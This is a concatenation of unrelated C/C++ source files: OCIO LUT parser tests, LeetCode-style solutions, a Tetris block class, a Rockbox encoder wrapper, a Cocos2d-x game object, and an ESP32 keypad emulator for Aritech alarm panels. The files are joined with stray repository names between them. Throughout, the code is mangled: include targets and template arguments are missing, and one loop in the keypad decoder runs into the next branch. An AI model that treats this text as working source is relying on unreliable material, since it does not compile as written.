OIIO_CHECK_THROW_WHAT(ReadPandora(SAMPLE_ERROR), OCIO::Exception, "Only 3D LUTs are currently supported"); } { // No value spec (LUT will not be read) const std::string SAMPLE_ERROR = "channel 3d\n" "in 8\n" "out 256\n" "format lut\n" "0 0 0 0\n" "1 0 0 255\n" "2 0 255 0\n" "3 0 255 255\n" "4 255 0 0\n" "5 255 0 255\n" "6 255 255 0\n" "7 255 255 255\n"; OIIO_CHECK_THROW_WHAT(ReadPandora(SAMPLE_ERROR), OCIO::Exception, "Incorrect number of 3D LUT entries"); } { // Wrong entry const std::string SAMPLE_ERROR = "channel 3d\n" "in 8\n" "out 256\n" "format lut\n" "values red green blue\n" "0 0 0 0\n" "1 0 0 255\n" "2 0 255 0\n" "3 0 255 255\n" "4 WRONG 255 0 0\n" "5 255 0 255\n" "6 255 255 0\n" "7 255 255 255\n"; OIIO_CHECK_THROW_WHAT(ReadPandora(SAMPLE_ERROR), OCIO::Exception, "Expected to find 4 integers"); } { // Wrong number of entries const std::string SAMPLE_ERROR = "channel 3d\n" "in 8\n" "out 256\n" "format lut\n" "values red green blue\n" "0 0 0 0\n" "1 0 0 255\n" "2 0 255 0\n" "3 0 255 255\n" "4 255 0 0\n" "5 255 0 255\n" "6 255 255 0\n" "7 255 255 0\n" "8 255 255 255\n"; OIIO_CHECK_THROW_WHAT(ReadPandora(SAMPLE_ERROR), OCIO::Exception, "Incorrect number of 3D LUT entries"); } } #endif // OCIO_UNIT_TEST// Copyright 2017-2018. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE.md or copy at // http://www.boost.org/LICENSE_1_0.txt) #pragma once #if !defined(__cpp_constexpr) || (__cpp_constexpr < 201603) #define ESL_CONSTEXPR_LAMBDA_AVAILABLE #endif #if !defined(__cpp_if_constexpr) || (__cpp_if_constexpr < 201606) #define ESL_CONSTEXPR_IF #else #define ESL_CONSTEXPR_IF constexpr #endif Ginkgo-Biloba/Cpp-Repo1-VSLeetCode/ThousandTwo/1525-num_of_good_way_to_spllt_str.cpp0 #include "leetcode.hpp" /* 1525. 字符串的好分割数目 给你一个字符串 s ,一个分割被称为 「好分割」 当它满足:将 s 分割成 2 个字符串 p 和 q ,它们连接起来等于 s 且 p 和 q 中不同字符的数目相同。 请你返回 s 中好分割的数目。 示例 1: 输入:s = "aacaba" 输出:2 解释:总共有 5 种分割字符串 "aacaba" 的方法,其中 2 种是好分割。 ("a", "acaba") 左边字符串和右边字符串分别包含 1 个和 3 个不同的字符。 ("aa", "caba") 左边字符串和右边字符串分别包含 1 个和 3 个不同的字符。 ("aac", "aba") 左边字符串和右边字符串分别包含 2 个和 2 个不同的字符。这是一个好分割。 ("aaca", "ba") 左边字符串和右边字符串分别包含 2 个和 2 个不同的字符。这是一个好分割。 ("aacab", "a") 左边字符串和右边字符串分别包含 3 个和 1 个不同的字符。 示例 2: 输入:s = "abcd" 输出:1 解释:好分割为将字符串分割成 ("ab", "cd") 。 示例 3: 输入:s = "aaaaa" 输出:4 解释:所有分割都是好分割。 示例 4: 输入:s = "acbadbaada" 输出:2 提示: s 只包含小写英文字母。 1 <= s.length <= 10^5 */ int numSplits(string S) { int len = static_cast(S.length()); int num[128] = { 0 }; int ans = 0, cnt = 0; vector M(len); for (int i = 0; i < len; ++i) { if (num[S[i]]++ == 0) ++cnt; M[i] = cnt; } cnt = 0; memset(num, 0, sizeof(num)); for (int i = len - 1; i > 0; --i) { if (num[S[i]]++ == 0) ++cnt; ans += cnt == M[i - 1]; if (cnt > M[i - 1]) break; } return ans; } int main() { OutExpr(numSplits("aacaba"), "%d"); OutExpr(numSplits("abcd"), "%d"); OutExpr(numSplits("aaaaa"), "%d"); OutExpr(numSplits("acbadbaada"), "%d"); } jffifa/algo-solution #include #include int a, b, c, d, ans; int main() { scanf("%d%d%d%d", &a, &b, &c, &d); ans = a; while (a < c) { if (a+b>=c) {ans = c; break;} a += b; if (c-d<=a) {ans = a; break;} c -= d; } printf("%d\n", ans); return 0; } #pragma once #include #include namespace RType { class RTYPECOMMON_API IPacketManager { public: virtual ~IPacketManager() = default; public: virtual void Initialize() = 0; virtual void CallbackHandler(const RType::RTypePack &) = 0; }; }0 #include "TetrisBlock.h" TetrisBlock::TetrisBlock(Mesh &bShape, DirectX::XMFLOAT4 matColor, int tp, int r) { type = tp; rot = r; translation = {0.0, 0.0, 0.0}; for (int i = 0; i < 4; i++) { GameEntity* block = new GameEntity(&bShape, false); tetrisBlocks.push_back(block); tetrisBlocks[i]->renderingComponent->mat.surfaceColor = matColor; } LoadTetrisBlock(); } std::vector TetrisBlock::GetEntities() { return tetrisBlocks; } TetrisBlock::~TetrisBlock() { } void TetrisBlock::DeleteBlockGameEntities() { for (unsigned int i = 0; i < tetrisBlocks.size(); i++) { tetrisBlocks[i]->Destroy(); } } void TetrisBlock::LoadTetrisBlock() { if(rot > 4) { rot = 1; } if (type > 6) { type = 1; } tetrisBlocks[0]->ResetGameEntity(); tetrisBlocks[1]->ResetGameEntity(); tetrisBlocks[2]->ResetGameEntity(); tetrisBlocks[3]->ResetGameEntity(); switch(type) { //STRAIGHT BLOCK case 1: { if(rot == 1) { tetrisBlocks[0]->transform.Translate(2.0, 0.0, 0.0); tetrisBlocks[1]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(-1.0, 0.0, 0.0); } if (rot == 2) { tetrisBlocks[0]->transform.Translate(0.0, -2.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, 1.0, 0.0); } if (rot == 3) { tetrisBlocks[0]->transform.Translate(-1.0, 0.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(2.0, 0.0, 0.0); } if (rot == 4) { tetrisBlocks[0]->transform.Translate(0.0, 2.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, -1.0, 0.0); } break; } // Z BLOCK case 2: { if (rot == 1) { tetrisBlocks[0]->transform.Translate(1.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, -1.0, 0.0); } if (rot == 2) { tetrisBlocks[0]->transform.Translate(1.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(-1.0, 0.0, 0.0); } if (rot == 3) { tetrisBlocks[0]->transform.Translate(-1.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(-1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, 1.0, 0.0); } if (rot == 4) { tetrisBlocks[0]->transform.Translate(-1.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(1.0, 0.0, 0.0); } break; } // REVERSE Z BLOCK case 3: { if (rot == 1) { tetrisBlocks[0]->transform.Translate(1.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, 1.0, 0.0); } if (rot == 2) { tetrisBlocks[0]->transform.Translate(-1.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(1.0, 0.0, 0.0); } if (rot == 3) { tetrisBlocks[0]->transform.Translate(-1.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(-1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, -1.0, 0.0); } if (rot == 4) { tetrisBlocks[0]->transform.Translate(1.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(-1.0, 0.0, 0.0); } break; } // L BLOCK case 4: { if (rot == 1) { tetrisBlocks[0]->transform.Translate(1.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(-1.0, 0.0, 0.0); } if (rot == 2) { tetrisBlocks[0]->transform.Translate(1.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, 1.0, 0.0); } if (rot == 3) { tetrisBlocks[0]->transform.Translate(-1.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(-1.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(1.0, 0.0, 0.0); } if (rot == 4) { tetrisBlocks[0]->transform.Translate(-1.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 1.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(0.0, -1.0, 0.0); } break; } // REVERSE L BLOCK case 5: { if (rot == 1) { tetrisBlocks[0]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(-1.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(-1.0, 1.0, 0.0); } if (rot == 2) { tetrisBlocks[0]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, 1.0, 0.0); tetrisBlocks[3]->transform.Translate(1.0, 1.0, 0.0); } if (rot == 3) { tetrisBlocks[0]->transform.Translate(-1.0, 0.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(1.0, 0.0, 0.0); tetrisBlocks[3]->transform.Translate(1.0, -1.0, 0.0); } if (rot == 4) { tetrisBlocks[0]->transform.Translate(0.0, 1.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[2]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[3]->transform.Translate(-1.0, -1.0, 0.0); } break; } // SQUARE BLOCK case 6: { tetrisBlocks[0]->transform.Translate(0.0, 0.0, 0.0); tetrisBlocks[1]->transform.Translate(0.0, -1.0, 0.0); tetrisBlocks[2]->transform.Translate(1.0, -1.0, 0.0); tetrisBlocks[3]->transform.Translate(1.0, 0.0, 0.0); break; } } for (int i = 0; i < (int)tetrisBlocks.size(); i++) { tetrisBlocks[i]->transform.Translate(translation.x, translation.y, translation.z); } } void TetrisBlock::TransTetrisBlock(float x, float y, float z) { for (int i = 0; i < (int)tetrisBlocks.size(); i++) { tetrisBlocks[i]->transform.Translate(x, y, z); } translation.x += x; translation.y += y; translation.z += z; }/*************************************************************************** * __________ __ ___. * Open \______ \ ____ ____ | | _\_ |__ _______ ___ * Source | _// _ \_/ ___\| |/ /| __ \ / _ \ \/ / * Jukebox | | ( <_> ) \___| < | \_\ ( <_> > < < * Firmware |____|_ /\____/ \___ >__|_ \|___ /\____/__/\_ \ * \/ \/ \/ \/ \/ * * Copyright (C) 2007 by * * All files in this archive are subject to the GNU General Public License. * See the file COPYING in the source tree root for full license agreement. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ****************************************************************************/ #include #include "encoderexe.h" #include "rbsettings.h" #include "utils.h" #include "Logger.h" EncoderExe::EncoderExe(QString name,QObject *parent) : EncoderBase(parent) { m_name = name; m_TemplateMap["lame"] = "\"%exe\" %options \"%input\" \"%output\""; } void EncoderExe::generateSettings() { QString exepath =RbSettings::subValue(m_name,RbSettings::EncoderPath).toString(); if(exepath == "") exepath = Utils::findExecutable(m_name); insertSetting(eEXEPATH,new EncTtsSetting(this,EncTtsSetting::eSTRING, tr("Path to Encoder:"),exepath,EncTtsSetting::eBROWSEBTN)); insertSetting(eEXEOPTIONS,new EncTtsSetting(this,EncTtsSetting::eSTRING, tr("Encoder options:"),RbSettings::subValue(m_name,RbSettings::EncoderOptions))); } void EncoderExe::saveSettings() { RbSettings::setSubValue(m_name,RbSettings::EncoderPath,getSetting(eEXEPATH)->current().toString()); RbSettings::setSubValue(m_name,RbSettings::EncoderOptions,getSetting(eEXEOPTIONS)->current().toString()); RbSettings::sync(); } bool EncoderExe::start() { m_EncExec = RbSettings::subValue(m_name, RbSettings::EncoderPath).toString(); m_EncOpts = RbSettings::subValue(m_name, RbSettings::EncoderOptions).toString(); m_EncTemplate = m_TemplateMap.value(m_name); QFileInfo enc(m_EncExec); if(enc.exists()) { return true; } else { return false; } } bool EncoderExe::encode(QString input,QString output) { QString execstring = m_EncTemplate; execstring.replace("%exe",m_EncExec); execstring.replace("%options",m_EncOpts); execstring.replace("%input",input); execstring.replace("%output",output); LOG_INFO() << "cmd: " << execstring; int result = QProcess::execute(execstring); return (result == 0) ? true : false; } bool EncoderExe::configOk() { QString path = RbSettings::subValue(m_name, RbSettings::EncoderPath).toString(); if (QFileInfo(path).exists()) return true; return false; } 1-10 /** * $File: JCSCos2x_GameObject.cpp $ * $Date: 2016-11-24 18:13:54 $ * $Revision: $ * $Creator: $ * $Notice: See LICENSE.txt for modification and distribution information * Copyright (c) 2016 by $ */ #include "../JCSCos2x.h" namespace JCSCos2x { JCSCos2x_GameObject::JCSCos2x_GameObject() { } JCSCos2x_GameObject::~JCSCos2x_GameObject() { SafeDeleteObject(m_pJCSCos2xAnimator); } bool JCSCos2x_GameObject::Initialize(void) { this->m_pSprite = cocos2d::Sprite::create(); if (!m_pSprite) { JCS_Debug(L"Failed to create sprite in Cocos2d-x framework..."); return false; } // create the animator for use. m_pJCSCos2xAnimator = new JCSCos2x_Animator(this); if (!m_pJCSCos2xAnimator) { JCS_Debug(L"Failed to create JCS Animator..."); return false; } // init success return true; } void JCSCos2x_GameObject::DoAnimation( const std::string baseName, const int32 frameCount, const float32 delayPerUnit, const int32 loop /*= -1*/, const bool restoreOriginFrame /*= true*/, const int32 firstFrameIndex /*= 0*/) { this->DoAnimation( m_filePath, baseName, frameCount, m_extension, delayPerUnit, loop, restoreOriginFrame, firstFrameIndex); } void JCSCos2x_GameObject::DoAnimation( const std::string filePath, const std::string baseName, const int32 frameCount, const std::string ext, const float32 delayPerUnit, const int32 loop /*= -1*/, const bool restoreOriginFrame /*= true*/, const int32 firstFrameIndex /*= 0*/) { // if the animation are the same return it. if (m_filePath == filePath && m_baseName == baseName && m_extension == ext && m_delayPerUnit == delayPerUnit) return; SetFilePath(filePath); SetBaseName(baseName); SetExtension(ext); SetDelayPerUnit(delayPerUnit); // stop the current animation. m_pSprite->stopAction(this->GetAnimAction()); // create the newer animation instnce. this->m_pAnimation = cocos2d::Animation::create(); // gain all the animation. for (int32 index = firstFrameIndex; index < frameCount; ++index) { const std::string fullPath = filePath + baseName + std::to_string(index) + ext; // add the frame to sprite. m_pAnimation->addSpriteFrameWithFile(fullPath); } // some animation setting this->m_pAnimation->setDelayPerUnit(delayPerUnit); this->m_pAnimation->setRestoreOriginalFrame(restoreOriginFrame); this->m_pAnimation->setLoops(loop); //-1无限循环 // conver animation to animate, so we can run the action. m_pAnimate = cocos2d::Animate::create(m_pAnimation); // add action to sprite and assign the animation/animate action. m_pAnimAction = m_pSprite->runAction(m_pAnimate); } } OzmoOzmo/CastleAritechArduinoESP32 /* * Created: 3/30/2014 11:35:06 PM * * Aritech Alarm Panel Arduino Internet Enabled Keypad - CS350 - CD34 - CD72 - CD91 and more * * For ESP32 * * See Circuit Diagram for wiring instructions * * Author: * * See: http://www.boards.ie/vbulletin/showthread.php?p=88215184 * */ #include #include "RKP.h" #include "LOG.h" #include "Websocket.h" #include "SMTP.h" #include "Config.h" #include "driver/uart.h" #include "soc/uart_struct.h" //These are constants in the Aritech Protocol #define H1_LIDTAMP 1 #define H1_BASE 2 //always set - probably to make sure its not zero(start message) //We can emulate different keyboards - some keyboards have a few extra zones and outputs that we could use with Arduino sensors #define H1_CD3008 0 //keypad with buzzer - works on cd34 and cd72 #define H1_CD9038 4 //Keypad with 4 zones - works on cd34 (TOTEST: if cd72 supported) #define H1_CD9041 8 //Glassbreak Expander with no keypad - works on cd34 not supported on cd72(Keypad displays Error) #define nSerialBaudKP_RX 1953 // 1953 is a factor of the crystal used on the cpu #define ixMaxPanel 40 //40 bytes enough for a panel message buffer const char PROGMEM allmonths[] = { "JANFEBMARAPRMAYJUNJULAUGSEPOCTNOVDEC" }; const char PROGMEM alldays[] = { "SUNMONTUEWEDTHUFRISAT" }; bool RKPClass::dateFlash = true; //TODO: bool RKPClass::mbIsPanelWarning = false; bool RKPClass::mbIsPanelAlarm = false; unsigned long RKPClass::timeToSwitchOffLed = 0; FIFO RKPClass::fifo; byte RKPClass::lastkey = 0xFF; char RKPClass::dispBuffer[DISP_BUF_LEN + 1] = "Not Connected\0"; #define SEND_BUF_SIZE (4) uint8_t* sendData[SEND_BUF_SIZE]; //] = (uint8_t*)malloc(BUF_SIZE); //There are 3 serial ports on ESP32 - we will use 2 (1 for debug - 1 for panel) #define uart_num UART_NUM_1 //will uses the second uart (pin 13/15) //#define uart_num UART_NUM_2 //third is available for use pin 16/17 RKPClass::RKPClass() {//never runs } void RKPClass::SerialInit() { //Initialise the Serial Port - //todo: cannot use Serial1 as it tends to not send data immediately but clumps data together - IS THIS AN ISSUE with ESP32??? Serial1.begin(nSerialBaudKP_RX, SERIAL_8N1, SERIAL1_RXPIN, SERIAL1_TXPIN); uart_intr_config_t uart_intr; uart_intr.intr_enable_mask = 0 | UART_RXFIFO_FULL_INT_ENA_M | UART_RXFIFO_TOUT_INT_ENA_M | UART_FRM_ERR_INT_ENA_M | UART_RXFIFO_OVF_INT_ENA_M | UART_BRK_DET_INT_ENA_M | UART_PARITY_ERR_INT_ENA_M ; uart_intr.rxfifo_full_thresh = 1; //UART_FULL_THRESH_DEFAULT, //120 default!! agggh! default is we need receive 120 chars before we see them uart_intr.rx_timeout_thresh = 10; //UART_TOUT_THRESH_DEFAULT, //too high uart_intr.txfifo_empty_intr_thresh = 10; //UART_EMPTY_THRESH_DEFAULT uart_intr_config(uart_num, &uart_intr); } void RKPClass::Init() { SerialInit(); pinMode(LED_Stat, OUTPUT); } //Decode screen to text and return true if necessary send to web client bool RKPClass::DecodeScreen(byte* msgbuf, int msgbufLen) { byte bufix = 0; int ixMsgbuf = 2;//skip 2 header bytes msgbufLen -= 2; //remove checksum and zero terminator while (ixMsgbuf < msgbufLen) { byte rx = msgbuf[ixMsgbuf++]; if (rx >= 0 && rx < 0x0f) {//not implemented } else if (rx == 0x13) {//not implemented } else if (rx == 0x1b) {//to do with foreign character set - not implemented } else if (rx >= 0x20 && rx <= 0x7F) {//Normal ASCII if (bufix == 0) //Force Screen clear at start of each message for(int m=0;m= 0x80 && rx <= 0x8F) {//Date in encoded format int b0 = rx; int b1 = msgbuf[ixMsgbuf++]; int b2 = msgbuf[ixMsgbuf++]; int b3 = msgbuf[ixMsgbuf++]; byte nMonth = (b0 & 0x0f) - 1; byte day = (b1 & (128 + 64 + 32)) >> 5; byte date = (b1 & (31)); byte h1 = (b2 & 0xf0) >> 4; if (h1 == 0x0A) h1 = 0; byte h2 = (b2 & 0x0f); if (h2 == 0x0A) h2 = 0; byte m1 = (b3 & 0xf0) >> 4; if (m1 == 0x0A) m1 = 0; byte m2 = (b3 & 0x0f); if (m2 == 0x0A) m2 = 0; memcpy_P(dispBuffer + 0, alldays + (day * 3), 3); dispBuffer[3] = ' '; dispBuffer[4] = ('0' + (int)(date / 10)); dispBuffer[5] = ('0' + (date % 10)); dispBuffer[6] = ' '; memcpy_P(dispBuffer + 7, allmonths + (nMonth * 3), 3); dispBuffer[10] = ' '; dispBuffer[11] = '0' + h1; dispBuffer[12] = '0' + h2; //if (dateFlash) //too much web traffic dispBuffer[13] = ':'; //else // buffer[13]= F(' '); //dateFlash=!dateFlash; //buffer[13]= ((millis()/500)&1) ==0? ':':' '; dispBuffer[14] = '0' + m1; dispBuffer[15] = '0' + m2; bufix = 0; } else if (rx == 0x90) {//Clear screen bufix = 0; for (int m = 0; m < DISP_BUF_LEN; m++) dispBuffer[m] = ' '; } else if (rx == 0x91) {//HOME bufix = 0; } else if (rx >= 0xA0 && rx <= 0xAf) {//MOVE cursor to position x bufix = (rx & 0x0f); //-1 gives us 2 *'s but without -1 we go off screen at Login *** } else if (rx >= 0xB0 && rx <= 0xBF) {//{BLINK_N}" Bxh Blink x chars starting at current cursor position //not implementing this as it will cause unnecessary traffic sending display each second TODO: make underline maybe though //int nChars = (rx & 0x0f); } else if (rx >= 0xC0 && rx <= 0xCf) {// Set position to x and clear all chars to right int i = (rx & 0x0f); if (i < DISP_BUF_LEN) bufix = i; for (int n = bufix; n < DISP_BUF_LEN; n++) dispBuffer[bufix++] = ' '; } else if (rx >= 0xE0 && rx <= 0xFF) {// Special Characters Arrows and foreign chars int i = (rx & 0x0f); char c = 0; if (i == 4) c = '*'; else if (i == 5) c = 'V'; //KEY_POUND[0] would be nice - but websocket send buffer too small. else if (i == 7) c = '>'; if (c > 0) if (bufix < DISP_BUF_LEN) dispBuffer[bufix++] = c; } else {//unknown command Log(F("{")); LogHex(rx); Log(F("}")); } //Note: there are quite a few codes in Engineer menu to deal with flashing cursors and characters - cannot do easily in html } dispBuffer[16] = '|'; //this may overwrite a char sometimes...maybe with lots of blinking chars - acceptable loss. dispBuffer[17] = (RKPClass::mbIsPanelAlarm) ? 'A' : ' '; dispBuffer[18] = (RKPClass::mbIsPanelWarning) ? 'W' : ' '; dispBuffer[19] = 0; //so we can print. //Checksum so can see if changes and need update client static int previousCS = -1; int cs = 0; for (int n = 0; n < DISP_BUF_LEN; n++) cs += dispBuffer[n]; if (cs != previousCS) { previousCS = cs; //Signal we have a new screen we can send return true; //ScreenHasUpdated } //LogHex(msgbuf,msgbufLen); LogHex((byte*)dispBuffer,DISP_BUF_LEN);LogLn("."); return false; } char RKPClass::PopKeyPress() { return (char)fifo.pop(); } void RKPClass::PushKey(char key) { //called from html code when button pressed fifo.push(key); } void RKPClass::Poll() { #ifdef DUMP_RAW_LINE_DATA //this will test the circuit is ok - dumps everything on the line to the console //each byte is about 5mS - so wait for 10mS before end of packet static byte buf[64]; static int bufix = 0; int tiLast = millis(); while (millis() - tiLast < 10) { while (Serial1.available()) { tiLast = millis(); buf[bufix++] = Serial1.read(); if (bufix == 64) { LogHex(buf, bufix); bufix = 0; } } } if (bufix > 0) { LogHex(buf, bufix); bufix = 0; } return false; #else if (RKPClass::loop_PanelMon()) { strcpy(WebSocket::dispBufferLast, dispBuffer); //keep a copy for new websocket connections FlagWebsocketUpdate();//websocket has changed //delay(1); //we can rest a bit now the panel has been replied to - not long though } #endif } //Check see if UART has any data for us from panel - if a complete message was received parse it. //Note - nothing here is to be blocking //- so no delays or loops waiting for connections or data bool RKPClass::loop_PanelMon() { static int msgbufLen = 0; static byte msgbuf[ixMaxPanel]; static bool bReceivingPacketNow = false; static byte lastByte = -1; bool bScreenHasUpdated = false; //Knock off the "We Sent To Panel" Led not less than 100ms after we turn it on if (timeToSwitchOffLed != 0 && millis() > timeToSwitchOffLed) { timeToSwitchOffLed = 0; digitalWrite(LED_Stat, LOW); } while (Serial1.available()) //yes - two...make sure we loop until all bytes gone while (Serial1.available()) { byte rx = Serial1.read(); //uart_read_bytes(uart_num, &rx, 1, 0); if (bReceivingPacketNow == false) { if (lastByte == 0) {//last char was a zero - this was the end of the last message if (rx == 0) continue; //CD34 sends 0 at start And 0 at End - different to CD72 and 92 - so ignore extra zero //It may be for us or not - but get whole message before testing so we stay in sync bReceivingPacketNow = true; msgbufLen = 0; //not necessary to blank - but good for debug for (int n = 0; n < ixMaxPanel; n++) msgbuf[n] = 0xFF; msgbuf[msgbufLen++] = rx; } lastByte = rx; continue; //wait for byte#3 (0,id,..) } lastByte = rx; //needed in case cs error msgbuf[msgbufLen++] = rx; if (rx != 0) {//wasn't end of packet - is buffer full? if (msgbufLen >= ixMaxPanel) {//packet never terminated - bytes lost :( Log(F("Buf overflow")); bReceivingPacketNow = false; continue; } } else {//0 received - ie. End of the packet unsigned long nResponseDelay = micros(); bReceivingPacketNow = false; byte idDev = (msgbuf[0] & 0xf0) >> 4; //ID of remote that message is for 0x0-0xf are valid ids //Define this to Display all packets #ifdef DISPLAY_ALL_PACKETS Log(F("#")); Log(idDev); Log(')'); LogHex(msgbuf, msgbufLen); #endif byte cs = 0; for (int n = 0; n < msgbufLen; n++) { byte rx = msgbuf[n]; if (n < msgbufLen - 2) //dont sum cs or terminator cs += rx; } if (cs == 0) cs++; //protocol avoids sending a 0 (as its used for end marker(s)) - so will send cs 00 as 01 if (cs != msgbuf[msgbufLen - 2]) { LogLn(F("CS Fail :( ")); LogHex(msgbuf, msgbufLen); //Log(F("Dev:"));LogLn(idDev);LogLn(F("!")); continue; } //for us? if (idDev == RKP_ID) { bool bAck = (msgbuf[0] & 0x04) != 0; //required for good comms if (!bAck) LogLn(F("Ack Fail")); //Too many of these will cause alarm to sound int dly = micros() - nResponseDelay; SendToPanel(bAck); if (dly > 10) Serial.printf("Long delay %d ms\n", dly); //blink led (after timings taken) digitalWrite(LED_Stat, HIGH); timeToSwitchOffLed = millis() + 50; //ok - from here on until the next message we have a few ms to spare.. if (RKPClass::DecodeScreen(msgbuf, msgbufLen)) { //Queue up send to browser the screen as text bScreenHasUpdated = true; #ifdef SHOW_KEYPAD_SCREEN //whats in the virtual keypads screen? Log(F("#")); Log(idDev); Log(')'); LogLn(dispBuffer); #endif } } else { //LogLn("-Not for us-"); } {//Send Email if alarm lights come on bool bIsPanelWarning = (msgbuf[1] & 0x04) != 0; if (bIsPanelWarning == true && RKPClass::mbIsPanelWarning == false) SMTP::QueueEmail(MSG_WARNING); bool bIsPanelAlarm = (msgbuf[1] & 0x02) != 0; if (bIsPanelAlarm == true && RKPClass::mbIsPanelAlarm == false) SMTP::QueueEmail(MSG_ALARM); bool bChange = RKPClass::mbIsPanelWarning != bIsPanelWarning || RKPClass::mbIsPanelAlarm != bIsPanelAlarm; if (bChange){ RKPClass::mbIsPanelWarning = bIsPanelWarning; RKPClass::mbIsPanelAlarm = bIsPanelAlarm; gPanelStat = ""; if (mbIsPanelWarning) gPanelStat += "Warn "; if (mbIsPanelAlarm) gPanelStat += "Alarm!"; FlagDisplayUpdate(); } } } } return bScreenHasUpdated; } //a 6 character keyboard buffer byte FIFO::raw[maxkeybufsize]; FIFO::FIFO() { nextIn = nextOut = count = 0; } void FIFO::push(byte element) { if (count >= maxkeybufsize) { Log("Too Full. Count="); LogLn(count); return; //lost } count++; raw[nextIn++] = element; nextIn %= maxkeybufsize; Log("Added Item. Count="); LogLn(count); } byte FIFO::pop() { if (count > 0) { count--; byte c = raw[nextOut++]; nextOut %= maxkeybufsize; return c; } return 0xFF; } void RKPClass::SendToPanel(bool bAck) { static byte nH2Previous = -1; static byte h[4]; h[0] = H1_BASE + H1_CD3008 + (RKP_ID << 4); //kKKK (Capital K is an Extender enabled keypad) h[1] = 0; if (bAck) //change to if(true) to remove retries {//LogLn("Ack"); char nBrowserKeyPress = PopKeyPress(); if (nBrowserKeyPress != -1) { //You can use the pc keyboard as well as the on screen html buttons //nKeyToSend &= 0x20; //tolower int nNumb = 0; nBrowserKeyPress = tolower(nBrowserKeyPress); if (nBrowserKeyPress >= '1' && nBrowserKeyPress <= '9') nNumb = (nBrowserKeyPress - '0'); else if (nBrowserKeyPress == '0') nNumb = 0x0a; else if (nBrowserKeyPress == 'f' || nBrowserKeyPress == '*') nNumb = 0x0b; //UP (* for IPhone) else if (nBrowserKeyPress == 'v' || nBrowserKeyPress == '#') nNumb = 0x0c; //DOWN (# for IPhone) else if (nBrowserKeyPress == 'p') nNumb = 0x0d; //UP + DOWN (Panic) else if (nBrowserKeyPress == 'x' || nBrowserKeyPress == ';' || nBrowserKeyPress == 'n') nNumb = 0x0e; //UP + 0 or X(reject) (WAIT on IPhone numpad) else if (nBrowserKeyPress == 13 || nBrowserKeyPress == '+' || nBrowserKeyPress == 'y') nNumb = 0x0f; //UP + 0 or *(accept) (+ on IPhone numpad) //LogHex(nNumb); //Log(F("Rec: ")); LogHex(nNumb); LogHex(nBrowserKeyPress); LogLn(F(".")); if (nNumb != 0) h[1] = nNumb << 4; } nH2Previous = h[1]; } else {//If panel didnt get last kepress, resend it - if 0xFF or 0 then its a resend but the default normal we would have sent anyway. h[1] = (nH2Previous == 0xFF) ? 0 : nH2Previous; { Log(F("Resend: (")); LogHex(h[1]); LogLn(F(")")); } } h[2] = 0; h[3] = (byte)(h[0] + h[1] + h[2]); Serial1.write(h, 4); //Serial1.flush(); //Log("Send>");LogHex(h1); LogHex(h2); LogHex(h3); LogHex(h4); LogLn("."); } 10-100 /* * Copyright (c) 2012-2016, * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code 